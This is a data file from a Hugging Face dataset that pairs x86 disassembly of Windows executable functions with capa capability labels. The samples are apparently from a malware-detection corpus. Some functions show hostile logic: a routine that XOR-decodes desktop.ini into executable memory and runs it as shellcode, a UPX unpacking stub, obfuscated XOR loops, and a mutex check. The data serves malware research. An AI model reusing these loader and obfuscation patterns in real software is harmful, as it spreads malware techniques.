joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5a727c
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x5a7497
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.00405490
mov eax, 0x104
call fcn.00402f18
mov ebx, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x104
call fcn.00403b84
mov eax, 0x104
call fcn.00402f18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov edx, 0x104
call fcn.00403b84
xor edx, edx
push ebp
push 0x5a743b
push dword fs:[edx]
mov dword fs:[edx], esp
push ebx
push 0x104
call sub.kernel32.dll_GetTempPathA
xor eax, eax
call fcn.005a4994
xor esi, esi
add al, 0xf8
sub al, 3
jb 0x5a736e
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov edi, eax
push 0x5a74a8
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
movzx eax, di
push eax
call sub.kernel32.dll_SetErrorMode
push 0x5a74b8
push esi
call sub.kernel32.dll_GetProcAddress_1
mov edi, eax
test edi, edi
je 0x5a736c
push 0x104
mov eax, dword [ebp - 0xc]
push eax
push ebx
call edi
mov esi, eax
cmp esi, 0x104
jle 0x5a736e
lea edx, [esi + 2]
lea eax, [ebp - 0xc]
call fcn.00402f4c
lea edx, [esi + 2]
mov eax, dword [ebp - 0xc]
xor ecx, ecx
call fcn.00403b84
push esi
mov eax, dword [ebp - 0xc]
push eax
push ebx
call edi
mov esi, eax
jmp 0x5a736e
xor esi, esi
test esi, esi
jne 0x5a73c5
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00405688
mov eax, dword [ebp - 0x10]
call fcn.005a3bd8
test al, al
jne 0x5a73b6
lea ecx, [ebp - 4]
xor edx, edx
mov eax, 0x5a74d4
call fcn.005a9ae4
cmp dword [ebp - 4], 0
je 0x5a73c5
push 0x104
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405954
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
jmp 0x5a73c5
mov ecx, 0x104
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.0040b82c
lea eax, [ebp - 4]
mov edx, dword [ebp - 0xc]
call fcn.00405688
mov eax, ebx
call fcn.00402f34
mov eax, dword [ebp - 0xc]
call fcn.00402f34
mov eax, dword [ebp - 4]
test eax, eax
je 0x5a73eb
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x5a7402
lea eax, [ebp - 4]
mov edx, 0x5a74f0
call fcn.0040575c
mov eax, dword [ebp - 4]
call fcn.005a3bd8
test al, al
jne 0x5a7426
mov ecx, 0x5a74fc
mov dl, 1
mov eax, dword [0x409040]
call fcn.0040f2d4
call fcn.00404de8
jmp 0x5a7431
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004054e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a7474
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a749e
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004054b4
lea eax, [ebp - 4]
call fcn.00405490
ret
Function at 0x5a76f8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff50
push ebx
xor eax, eax
mov dword [ebp - 0xb0], eax
xor eax, eax
push ebp
push 0x5a77f0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xac], 0x94
lea eax, [ebp - 0xac]
push eax
call sub.kernel32.dll_GetVersionExA
lea eax, [ebp - 0xac]
call fcn.005a4910
cmp al, 5
jne 0x5a77c1
lea eax, [ebp - 0xb0]
call fcn.005a7628
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x5a776c
mov eax, dword [ebp - 0x14]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, 0x5a7808
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x5a7785
mov eax, dword [ebp - 0x18]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, 0x5a7808
call fcn.00405954
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.00405954
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
sete byte [ebp - 9]
movzx ebx, byte [ebp - 9]
jmp 0x5a77d7
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x72
call sub.user32.dll_SystemParametersInfoA
cmp dword [ebp - 4], 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a77f7
lea eax, [ebp - 0xb0]
call fcn.00405490
ret

Function at 0x5a7ce4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405944
xor eax, eax
push ebp
push 0x5a7d6a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.005a7b00
cmp dword [ebp - 8], 0
je 0x5a7d37
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00405954
push eax
mov eax, dword [ebp - 8]
call fcn.00405954
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x5a7d4f
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405954
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a7d71
lea eax, [ebp - 8]
mov edx, 2
call fcn.004054b4
ret
Function at 0x5a90f8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov edi, ecx
mov esi, edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x5a91da
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.005a9074
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x20006
push 0
push 0x5a91ec
push 0
mov eax, dword [ebp - 4]
call fcn.00405954
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_RegCreateKeyExA
mov ebx, eax
test ebx, ebx
jne 0x5a91bf
mov eax, dword [ebp - 8]
mov edx, 0x5a91f8
call fcn.004058a0
jne 0x5a9189
mov eax, dword [ebp + 8]
push eax
push edi
push esi
push 0
push 0x5a91ec
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
jmp 0x5a91a5
mov eax, dword [ebp + 8]
push eax
push edi
push esi
push 0
mov eax, dword [ebp - 8]
call fcn.00405954
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
test ebx, ebx
jne 0x5a91b6
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov ebx, eax
jmp 0x5a91bf
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a91e1
lea eax, [ebp - 8]
mov edx, 2
call fcn.004054b4
ret
Function at 0x5a91fc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x14], ecx
mov edi, edx
mov dword [ebp - 0x10], eax
mov esi, dword [ebp + 8]
xor eax, eax
push ebp
push 0x5a93c5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 0x10]
call fcn.005a9074
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 4]
call fcn.00405954
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
mov ebx, eax
test ebx, ebx
jne 0x5a939d
mov edx, dword [esi]
add edx, 8
lea eax, [ebp - 0xc]
call fcn.00405bdc
add dword [esi], 8
mov eax, dword [ebp - 8]
mov edx, 0x5a93e0
call fcn.004058a0
jne 0x5a92a6
push esi
lea eax, [ebp - 0xc]
call fcn.004059ac
push eax
push edi
push 0
push 0x5a93e4
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
jmp 0x5a92c7
push esi
lea eax, [ebp - 0xc]
call fcn.004059ac
push eax
push edi
push 0
mov eax, dword [ebp - 8]
call fcn.00405954
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov ebx, eax
test ebx, ebx
jne 0x5a92d8
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov ebx, eax
jmp 0x5a92e1
mov eax, dword [ebp - 0x1c]
push eax
call sub.advapi32.dll_RegCloseKey_1
test ebx, ebx
jne 0x5a939d
cmp dword [edi], 3
jne 0x5a938b
mov eax, dword [ebp - 0xc]
cmp byte [eax], 0x4e
jne 0x5a938b
mov eax, dword [ebp - 0xc]
cmp byte [eax + 1], 0x56
jne 0x5a938b
mov eax, dword [ebp - 0xc]
cmp byte [eax + 2], 0x43
jne 0x5a938b
mov eax, dword [ebp - 0xc]
cmp byte [eax + 3], 0x52
jne 0x5a938b
cmp dword [esi], 8
jae 0x5a9329
mov ebx, 0x18
jmp 0x5a939d
lea eax, [ebp - 0xc]
call fcn.004059ac
add eax, 4
mov eax, dword [eax]
mov dword [edi], eax
sub dword [esi], 8
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x10]
call fcn.00409d38
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
mov edx, 0x5a93f0
call fcn.004057a0
mov ecx, dword [ebp - 0x24]
mov dl, 1
mov eax, dword [0x481d64]
call fcn.00481f20
mov dword [ebp - 0x20], eax
mov eax, dword [esi]
push eax
lea eax, [ebp - 0xc]
call fcn.004059ac
lea edx, [eax + 8]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov esi, dword [eax]
call dword [esi + 0x40]
mov eax, dword [ebp - 0x20]
call fcn.00404574
jmp 0x5a939d
lea eax, [ebp - 0xc]
call fcn.004059ac
mov ecx, dword [esi]
mov edx, dword [ebp - 0x14]
call fcn.00403114
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a93cc
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004054b4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004054b4
ret
Function at 0x5a95bc
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
xor edx, edx
push ebp
push 0x5a9654
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 8]
push edx
lea ecx, [ebp - 4]
lea edx, [ebp - 0xc]
call fcn.005a9074
lea eax, [ebp - 0x10]
push eax
push 0x20006
push 0
mov eax, dword [ebp - 4]
call fcn.00405954
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
mov ebx, eax
test ebx, ebx
jne 0x5a9639
mov eax, dword [ebp - 8]
call fcn.00405954
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov ebx, eax
test ebx, ebx
jne 0x5a9630
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov ebx, eax
jmp 0x5a9639
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a965b
lea eax, [ebp - 8]
mov edx, 2
call fcn.004054b4
ret

Function at 0x5a9664
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 4], ecx
mov esi, edx
xor edx, edx
push ebp
push 0x5a9728
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 4]
lea edx, [ebp - 8]
call fcn.005a8ce0
lea eax, [ebp - 0xc]
push eax
push 8
push 0
mov eax, dword [ebp - 4]
call fcn.00405954
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x5a9707
xor ebx, ebx
mov dword [ebp - 0x10], 0xff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x110]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
jne 0x5a96fe
lea edx, [ebp - 0x114]
lea eax, [ebp - 0x110]
call fcn.0040ba84
mov edx, dword [ebp - 0x114]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
jmp 0x5a96b5
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a972f
lea eax, [ebp - 0x114]
call fcn.00405490
lea eax, [ebp - 4]
call fcn.00405490
ret
Function at 0x5a9738
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
xor edx, edx
push ebp
push 0x5a9836
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 4]
lea edx, [ebp - 0xc]
call fcn.005a8ce0
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 4]
call fcn.00405954
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x5a9815
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
jne 0x5a9815
mov ebx, dword [ebp - 0x14]
dec ebx
test ebx, ebx
jl 0x5a980c
inc ebx
xor esi, esi
mov dword [ebp - 0x1c], 0xff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x11c]
push eax
push esi
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegEnumValueA
test eax, eax
jne 0x5a980c
lea edx, [ebp - 0x120]
lea eax, [ebp - 0x11c]
call fcn.0040ba84
mov edx, dword [ebp - 0x120]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc esi
dec ebx
jne 0x5a97c1
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a983d
lea eax, [ebp - 0x120]
call fcn.00405490
lea eax, [ebp - 4]
call fcn.00405490
ret
Function at 0x4af728
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4af7ff
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4af81c
push ebx
push 0x4af82c
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004087c4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00405884
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004084ec
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x4af7aa
mov ax, 0x83
call fcn.004af34c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle
call fcn.004af6fc
push 0x4ff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x4af7b3
call fcn.004af6fc
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4af806
lea eax, [ebp - 4]
call fcn.00407a20
ret

Function at 0x4af91c
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4af9e7
jmp 0x4af9db
cmp dword [esi + 0x10], 0x1000
jne 0x4af9c7
test byte [esi + 0x15], 1
jne 0x4af9c7
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4af978
cmp ebp, 2
je 0x4af978
cmp ebp, 0x10
je 0x4af978
cmp ebp, 0x20
jne 0x4af994
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4af994
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4af9a5
mov eax, dword [esi]
add eax, ebx
call fcn.004af914
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4af998
cmp byte [esp + 4], 0
je 0x4af9c7
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4af9e7
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4af94d
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x342c1780
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x342c3040]
jne 0x342c178a
repz ret
jmp fcn.342c1c52
Function at 0x4347d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x20000]
push edi
jmp 0x4347ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4347f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4347e0
mov eax, 1
add ebx, ebx
jne 0x434803
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4347f8
jne 0x434814
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4347f8
xor ecx, ecx
sub eax, 3
jb 0x434828
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43489a
mov ebp, eax
add ebx, ebx
jne 0x434833
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x434840
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x434864
inc ecx
add ebx, ebx
jne 0x434850
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x434845
jne 0x434861
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x434845
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x434884
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x434875
jmp 0x4347e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x434884
add edi, ecx
jmp 0x4347e6
pop esi
mov edi, esi
mov ecx, 0x7da
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4348a2
cmp byte [edi], 0x11
jne 0x4348a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4348a7
lea edi, [esi + 0x31000]
mov eax, dword [edi]
or eax, eax
je 0x43491f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x341dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x34298]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4348d4
mov ecx, edi
jns 0x434903
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x342a0]
or eax, eax
je 0x434919
mov dword [ebx], eax
add ebx, 4
jmp 0x4348f1
call dword [esi + 0x3429c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x434950
cmp al, 0xef
ja 0x434943
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x434925
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x434932
mov ebp, dword [esi + 0x342a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x434984
sub esp, 0xffffff80
jmp 0x407d15
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x408931
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
and edx, edx
call fcn.0040895e
add edx, edx
sub esp, 4
mov dword [esp], ebx
pop edx
xor dword [eax], ecx
add eax, 1
mov ebx, 0xc29b4f1c
sub edx, 1
cmp eax, edi
jne fcn.00408931
ret

Function at 0x43b660
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x43b3c1
pop edx
sub eax, eax
call fcn.0043b6a0
sub edi, 0x3793a478
dec edi
sub edi, 0x7ccfd98
xor dword [ebx], edx
mov edi, 0x7b297e06
push edi
pop eax
inc ebx
sub edi, 0x90903ae4
cmp ebx, ecx
jne fcn.0043b660
mov edi, edi
dec edi
ret
Function at 0x4019a3
Capabilities:
Delete file
Move file

Disassembly:
xor eax, eax
push eax
call fcn.00419540
mov edx, dword [esp + 8]
lea ecx, [esp]
call fcn.00412060
push 4
push 0
push dword [esp + 8]
call sub.KERNEL32.dll_MoveFileExW
xor eax, eax
push dword [esp]
call fcn.00419630
add esp, 4
ret 4
Function at 0x408228
Capabilities:
Check mutex on windows

Disassembly:
push ebp
push ebx
xor eax, eax
push eax
push eax
push eax
call fcn.00419540
mov eax, dword [esp + 0x18]
mov dword [esp], eax
mov edx, dword [esp]
mov ebp, dword [edx]
push dword [ebp + 8]
call fcn.00412ef0
mov dword [esp + 4], eax
mov ebx, dword [esp + 4]
cmp ebx, 1
jne 0x4082a1
mov edx, dword [esp]
mov ebp, dword [edx]
mov edx, dword [ebp + 0xc]
push edx
call fcn.00419490
pop edx
push eax
push edx
call fcn.00419660
lea eax, [esp + 0xc]
push eax
call fcn.004196c0
push dword [esp + 8]
push 1
push 0
call sub.KERNEL32.dll_CreateMutexW
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
jne 0x4082a1
push 0xb7
call sub.KERNEL32.dll_ExitProcess
xor eax, eax
push dword [esp + 8]
call fcn.00419630
add esp, 0xc
pop ebx
pop ebp
ret 4

Function at 0x408cd1
Capabilities:
Get disk size

Disassembly:
push ebx
mov edx, 8
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x408cd7
call fcn.00419540
mov edx, dword [esp + 0x28]
lea ecx, [esp]
call fcn.00412060
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 4]
call fcn.00412060
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0xffffffff
push 0
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0xc]
call sub.KERNEL32.dll_GetDiskFreeSpaceExW
and eax, eax
je 0x408deb
push edx
call fcn.00419490
pop edx
push eax
push dword [esp + 8]
call fcn.0040f958
call fcn.004194d0
mov edx, 0x41d328
mov ecx, dword [esp]
push ecx
call fcn.004121a0
pop ecx
add ecx, eax
call fcn.004121e0
je 0x408d72
push dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], eax
pop dword [esp + 0x10]
jmp 0x408de6
mov edx, 0x41d324
mov ecx, dword [esp]
push ecx
call fcn.004121a0
pop ecx
add ecx, eax
call fcn.004121e0
je 0x408d9c
push dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], eax
pop dword [esp + 0x10]
jmp 0x408de6
mov edx, 0x41d32c
mov ecx, dword [esp]
push ecx
call fcn.004121a0
pop ecx
add ecx, eax
call fcn.004121e0
je 0x408dd6
push dword [esp + 0x20]
push dword [esp + 0x20]
lea eax, [esp + 0x1c]
mov edx, dword [eax]
sub dword [esp], edx
mov edx, dword [eax + 4]
sbb dword [esp + 4], edx
pop dword [esp + 0x10]
pop dword [esp + 0x10]
jmp 0x408de6
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], 0xffffffff
call fcn.004121d0
lea eax, [esp + 8]
mov edx, dword [eax + 4]
mov eax, dword [eax]
jmp 0x408dfa
push edx
push dword [esp + 8]
call fcn.00419630
push dword [esp + 4]
call fcn.00419630
pop edx
add esp, 0x20
pop ebx
ret 8